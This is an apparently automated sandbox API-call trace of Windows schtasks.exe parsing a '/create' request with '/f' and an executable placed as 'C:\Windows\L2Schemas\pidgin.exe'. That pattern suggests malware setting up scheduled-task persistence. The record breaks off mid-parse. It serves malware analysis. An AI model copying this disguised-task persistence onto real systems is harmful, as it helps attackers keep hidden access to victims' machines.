GetProcessHeap () returned 0x26b6b900000 [0110.971] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x18) returned 0x26b6b90aa90 [0110.971] _memicmp (_Buf1=0x26b6b90aa90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.971] GetProcessHeap () returned 0x26b6b900000 [0110.971] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x46) returned 0x26b6b90c2d0 [0110.972] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.972] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.972] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.972] lstrlenW (lpString="'C") returned 2 [0110.972] lstrlenW (lpString="-/") returned 2 [0110.972] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0110.972] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.972] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.972] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.972] lstrlenW (lpString="'C:\\Windows\\L2Schemas\\pidgin.exe'") returned 33 [0110.972] GetProcessHeap () returned 0x26b6b900000 [0110.972] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x44) returned 0x26b6b90c230 [0110.972] GetProcessHeap () returned 0x26b6b900000 [0110.972] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b90b900 [0110.972] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.972] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.972] lstrlenW (lpString="/f") returned 2 [0110.972] lstrlenW (lpString="-/") returned 2 [0110.972] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0110.972] lstrlenW (lpString="?") returned 1 [0110.972] lstrlenW (lpString="?") returned 1 [0110.972] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.972] lstrlenW (lpString="f") returned 1 [0110.972] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.972] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|?|") returned 3 [0110.973] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|f|") returned 3 [0110.973] lstrlenW (lpString="|?|") returned 3 [0110.973] lstrlenW (lpString="|f|") returned 3 [0110.973] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0110.973] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.973] lstrlenW (lpString="create") returned 6 [0110.973] lstrlenW (lpString="create") returned 6 [0110.973] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.973] lstrlenW (lpString="f") returned 1 [0110.973] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.973] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x9, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|create|") returned 8 [0110.973] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|f|") returned 3 [0110.973] lstrlenW (lpString="|create|") returned 8 [0110.973] lstrlenW (lpString="|f|") returned 3 [0110.973] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0110.973] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.973] lstrlenW (lpString="delete") returned 6 [0110.973] lstrlenW (lpString="delete") returned 6 [0110.973] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.973] lstrlenW (lpString="f") returned 1 [0110.973] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.973] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x9, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|delete|") returned 8 [0110.973] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|f|") returned 3 [0110.973] lstrlenW (lpString="|delete|") returned 8 [0110.973] lstrlenW (lpString="|f|") returned 3 [0110.973] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0110.973] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.973] lstrlenW (lpString="query") returned 5 [0110.974] lstrlenW (lpString="query") returned 5 [0110.974] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.974] lstrlenW (lpString="f") returned 1 [0110.974] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.974] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x8, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|query|") returned 7 [0110.974] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|f|") returned 3 [0110.974] lstrlenW (lpString="|query|") returned 7 [0110.974] lstrlenW (lpString="|f|") returned 3 [0110.974] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0110.974] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.974] lstrlenW (lpString="change") returned 6 [0110.974] lstrlenW (lpString="change") returned 6 [0110.974] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.974] lstrlenW (lpString="f") returned 1 [0110.974] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.974] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x9, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|change|") returned 8 [0110.974] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|f|") returned 3 [0110.974] lstrlenW (lpString="|change|") returned 8 [0110.974] lstrlenW (lpString="|f|") returned 3 [0110.974] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0110.974] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.974] lstrlenW (lpString="run") returned 3 [0110.974] lstrlenW (lpString="run") returned 3 [0110.974] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.974] lstrlenW (lpString="f") returned 1 [0110.974] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.974] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x6, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|run|") returned 5 [0110.975] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|f|") returned 3 [0110.975] lstrlenW (lpString="|run|") returned 5 [0110.975] lstrlenW (lpString="|f|") returned 3 [0110.975] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0110.975] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.975] lstrlenW (lpString="end") returned 3 [0110.975] lstrlenW (lpString="end") returned 3 [0110.975] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.975] lstrlenW (lpString="f") returned 1 [0110.975] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.975] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x6, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|end|") returned 5 [0110.975] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|f|") returned 3 [0110.975] lstrlenW (lpString="|end|") returned 5 [0110.975] lstrlenW (lpString="|f|") returned 3 [0110.975] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0110.975] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.975] lstrlenW (lpString="showsid") returned 7 [0110.975] lstrlenW (lpString="showsid") returned 7 [0110.975] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.975] lstrlenW (lpString="f") returned 1 [0110.975] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.975] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0xa, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|showsid|") returned 9 [0110.975] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddf088 | out: _Buffer="|f|") returned 3 [0110.975] lstrlenW (lpString="|showsid|") returned 9 [0110.975] lstrlenW (lpString="|f|") returned 3 [0110.975] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0110.975] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.975] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.975] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.976] lstrlenW (lpString="/f") returned 2 [0110.976] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0110.976] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.976] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.976] lstrlenW (lpString="/f") returned 2 [0110.976] GetProcessHeap () returned 0x26b6b900000 [0110.976] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x6) returned 0x26b6b903b10 [0110.976] GetProcessHeap () returned 0x26b6b900000 [0110.976] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b90b870 [0110.976] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.976] GetProcessHeap () returned 0x26b6b900000 [0110.976] GetProcessHeap () returned 0x26b6b900000 [0110.976] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b904340) returned 1 [0110.976] GetProcessHeap () returned 0x26b6b900000 [0110.976] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b904340) returned 0x8 [0110.976] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b904340) returned 1 [0110.976] GetProcessHeap () returned 0x26b6b900000 [0110.976] GetProcessHeap () returned 0x26b6b900000 [0110.976] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90b990) returned 1 [0110.976] GetProcessHeap () returned 0x26b6b900000 [0110.976] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90b990) returned 0x20 [0110.977] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90b990) returned 1 [0110.977] GetProcessHeap () returned 0x26b6b900000 [0110.977] GetProcessHeap () returned 0x26b6b900000 [0110.977] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b9046c0) returned 1 [0110.977] GetProcessHeap () returned 0x26b6b900000 [0110.977] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b9046c0) returned 0x10 [0110.977] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b9046c0) returned 1 [0110.977] GetProcessHeap () returned 0x26b6b900000 [0110.977] GetProcessHeap () returned 0x26b6b900000 [0110.977] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90bae0) returned 1 [0110.977] GetProcessHeap () returned 0x26b6b900000 [0110.977] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90bae0) returned 0x20 [0110.978] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90bae0) returned 1 [0110.978] GetProcessHeap () returned 0x26b6b900000 [0110.978] GetProcessHeap () returned 0x26b6b900000 [0110.978] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b9046e0) returned 1 [0110.978] GetProcessHeap () returned 0x26b6b900000 [0110.978] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b9046e0) returned 0x8 [0110.978] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b9046e0) returned 1 [0110.978] GetProcessHeap () returned 0x26b6b900000 [0110.978] GetProcessHeap () returned 0x26b6b900000 [0110.978] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90b6c0) returned 1 [0110.978] GetProcessHeap () returned 0x26b6b900000 [0110.978] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90b6c0) returned 0x20 [0110.979] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90b6c0) returned 1 [0110.979] GetProcessHeap () returned 0x26b6b900000 [0110.979] GetProcessHeap () returned 0x26b6b900000 [0110.979] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b904700) returned 1 [0110.979] GetProcessHeap () returned 0x26b6b900000 [0110.979] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b904700) returned 0xe [0110.979] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b904700) returned 1 [0110.979] GetProcessHeap () returned 0x26b6b900000 [0110.979] GetProcessHeap () returned 0x26b6b900000 [0110.979] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90b4b0) returned 1 [0110.979] GetProcessHeap () returned 0x26b6b900000 [0110.979] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90b4b0) returned 0x20 [0110.979] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90b4b0) returned 1 [0110.979] GetProcessHeap () returned 0x26b6b900000 [0110.979] GetProcessHeap () returned 0x26b6b900000 [0110.980] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b904720) returned 1 [0110.980] GetProcessHeap () returned 0x26b6b900000 [0110.980] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b904720) returned 0x8 [0110.980] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b904720) returned 1 [0110.980] GetProcessHeap () returned 0x26b6b900000 [0110.980] GetProcessHeap () returned 0x26b6b900000 [0110.980] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90ba50) returned 1 [0110.980] GetProcessHeap () returned 0x26b6b900000 [0110.980] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90ba50) returned 0x20 [0110.980] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90ba50) returned 1 [0110.980] GetProcessHeap () returned 0x26b6b900000 [0110.980] GetProcessHeap () returned 0x26b6b900000 [0110.980] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b904740) returned 1 [0110.980] GetProcessHeap () returned 0x26b6b900000 [0110.980] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b904740) returned 0x4 [0110.980] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b904740) returned 1 [0110.980] GetProcessHeap () returned 0x26b6b900000 [0110.980] GetProcessHeap () returned 0x26b6b900000 [0110.980] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90ba80) returned 1 [0110.980] GetProcessHeap () returned 0x26b6b900000 [0110.980] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90ba80) returned 0x20 [0110.981] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90ba80) returned 1 [0110.985] GetProcessHeap () returned 0x26b6b900000 [0110.985] GetProcessHeap () returned 0x26b6b900000 [0110.985] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b904760) returned 1 [0110.985] GetProcessHeap () returned 0x26b6b900000 [0110.986] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b904760) returned 0x8 [0110.986] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b904760) returned 1 [0110.986] GetProcessHeap () returned 0x26b6b900000 [0110.986] GetProcessHeap () returned 0x26b6b900000 [0110.986] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90b8d0) returned 1 [0110.986] GetProcessHeap () returned 0x26b6b900000 [0110.986] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90b8d0) returned 0x20 [0110.986] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90b8d0) returned 1 [0110.986] GetProcessHeap () returned 0x26b6b900000 [0110.986] GetProcessHeap () returned 0x26b6b900000 [0110.986] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90c230) returned 1 [0110.986] GetProcessHeap () returned 0x26b6b900000 [0110.986] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90c230) returned 0x44 [0110.987] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90c230) returned 1 [0110.987] GetProcessHeap () returned 0x26b6b900000 [0110.987] GetProcessHeap () returned 0x26b6b900000 [0110.987] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90b900) returned 1 [0110.987] GetProcessHeap () returned 0x26b6b900000 [0110.987] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90b900) returned 0x20 [0110.988] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90b900) returned 1 [0110.988] GetProcessHeap () returned 0x26b6b900000 [0110.988] GetProcessHeap () returned 0x26b6b900000 [0110.988] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b903b10) returned 1 [0110.988] GetProcessHeap () returned 0x26b6b900000 [0110.988] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b903b10) returned 0x6 [0110.988] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b903b10) returned 1 [0110.988] GetProcessHeap () returned 0x26b6b900000 [0110.988] GetProcessHeap () returned 0x26b6b900000 [0110.988] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90b870) returned 1 [0110.988] GetProcessHeap () returned 0x26b6b900000 [0110.988] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90b870) returned 0x20 [0110.989] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90b870) returned 1 [0110.989] GetProcessHeap () returned 0x26b6b900000 [0110.989] GetProcessHeap () returned 0x26b6b900000 [0110.989] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b904e60) returned 1 [0110.989] GetProcessHeap () returned 0x26b6b900000 [0110.989] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b904e60) returned 0x18 [0110.989] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b904e60) returned 1 [0110.989] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.989] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0110.990] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0110.990] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0110.990] RtlVerifyVersionInfo (VersionInfo=0x908fddc020, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0110.990] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.990] lstrlenW (lpString="create") returned 6 [0110.990] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0110.990] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.990] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.990] lstrlenW (lpString="create") returned 6 [0110.990] GetProcessHeap () returned 0x26b6b900000 [0110.990] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b90b3f0 [0110.990] GetProcessHeap () returned 0x26b6b900000 [0110.990] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x18) returned 0x26b6b90abf0 [0110.990] _memicmp (_Buf1=0x26b6b90abf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.990] GetProcessHeap () returned 0x26b6b900000 [0110.990] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x16) returned 0x26b6b90aaf0 [0110.990] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.990] _memicmp (_Buf1=0x26b6b904c00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.990] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x26b6b909ae0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0110.990] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x908fddc178 | out: lpdwHandle=0x908fddc178) returned 0x76c [0110.991] GetProcessHeap () returned 0x26b6b900000 [0110.991] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x776) returned 0x26b6b90c540 [0110.991] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x26b6b90c540 | out: lpData=0x26b6b90c540) returned 1 [0110.991] VerQueryValueW (in: pBlock=0x26b6b90c540, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x908fddc110, puLen=0x908fddc170 | out: lplpBuffer=0x908fddc110*=0x26b6b90c8f0, puLen=0x908fddc170) returned 1 [0110.991] _memicmp (_Buf1=0x26b6b904c00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.991] _vsnwprintf (in: _Buffer=0x26b6b909ae0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x908fddc0e8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0110.991] VerQueryValueW (in: pBlock=0x26b6b90c540, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x908fddc100, puLen=0x908fddc168 | out: lplpBuffer=0x908fddc100*=0x26b6b90c720, puLen=0x908fddc168) returned 1 [0110.991] lstrlenW (lpString="schtasks.exe") returned 12 [0110.991] lstrlenW (lpString="schtasks.exe") returned 12 [0110.991] lstrlenW (lpString=".EXE") returned 4 [0110.991] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0110.991] lstrlenW (lpString="schtasks.exe") returned 12 [0110.991] lstrlenW (lpString=".EXE") returned 4 [0110.991] lstrlenW (lpString="schtasks") returned 8 [0110.991] lstrlenW (lpString="/create") returned 7 [0110.992] _memicmp (_Buf1=0x26b6b904c00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.992] _vsnwprintf (in: _Buffer=0x26b6b909ae0, _BufferCount=0x19, _Format="%s %s", _ArgList=0x908fddc0e8 | out: _Buffer="schtasks /create") returned 16 [0110.992] _memicmp (_Buf1=0x26b6b904c20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.992] GetProcessHeap () returned 0x26b6b900000 [0110.992] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x20) returned 0x26b6b90b9c0 [0110.992] _memicmp (_Buf1=0x26b6b904c40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0110.992] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x26b6b90bb20, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0110.992] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0110.992] GetProcessHeap () returned 0x26b6b900000 [0110.992] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x30) returned 0x26b6b9046c0 [0110.992] _vsnwprintf (in: _Buffer=0x26b6b903840, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x908fddc0e8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0110.992] GetProcessHeap () returned 0x26b6b900000 [0110.992] GetProcessHeap () returned 0x26b6b900000 [0110.992] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90c540) returned 1 [0110.992] GetProcessHeap () returned 0x26b6b900000 [0110.992] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90c540) returned 0x776 [0110.993] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90c540) returned 1 [0110.993] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0110.993] GetThreadLocale () returned 0x409 [0110.993] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0110.993] lstrlenW (lpString="create") returned 6 [0110.993] GetThreadLocale () returned 0x409 [0110.993] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0110.993] lstrlenW (lpString="?") returned 1 [0110.993] GetThreadLocale () returned 0x409 [0110.993] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0110.994] lstrlenW (lpString="s") returned 1 [0110.994] GetThreadLocale () returned 0x409 [0110.994] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0110.994] lstrlenW (lpString="u") returned 1 [0110.994] GetThreadLocale () returned 0x409 [0110.994] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0110.994] lstrlenW (lpString="p") returned 1 [0110.994] GetThreadLocale () returned 0x409 [0110.994] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0110.994] lstrlenW (lpString="ru") returned 2 [0110.994] GetThreadLocale () returned 0x409 [0110.994] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0110.994] lstrlenW (lpString="rp") returned 2 [0110.994] GetThreadLocale () returned 0x409 [0110.994] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0110.994] lstrlenW (lpString="sc") returned 2 [0110.994] GetThreadLocale () returned 0x409 [0110.994] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0110.994] lstrlenW (lpString="mo") returned 2 [0110.994] GetThreadLocale () returned 0x409 [0110.994] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0110.995] lstrlenW (lpString="d") returned 1 [0110.995] GetThreadLocale () returned 0x409 [0110.995] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0110.995] lstrlenW (lpString="m") returned 1 [0110.995] GetThreadLocale () returned 0x409 [0110.995] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0110.995] lstrlenW (lpString="i") returned 1 [0110.995] GetThreadLocale () returned 0x409 [0110.995] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0110.995] lstrlenW (lpString="tn") returned 2 [0110.995] GetThreadLocale () returned 0x409 [0110.995] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0110.995] lstrlenW (lpString="tr") returned 2 [0110.995] GetThreadLocale () returned 0x409 [0110.995] 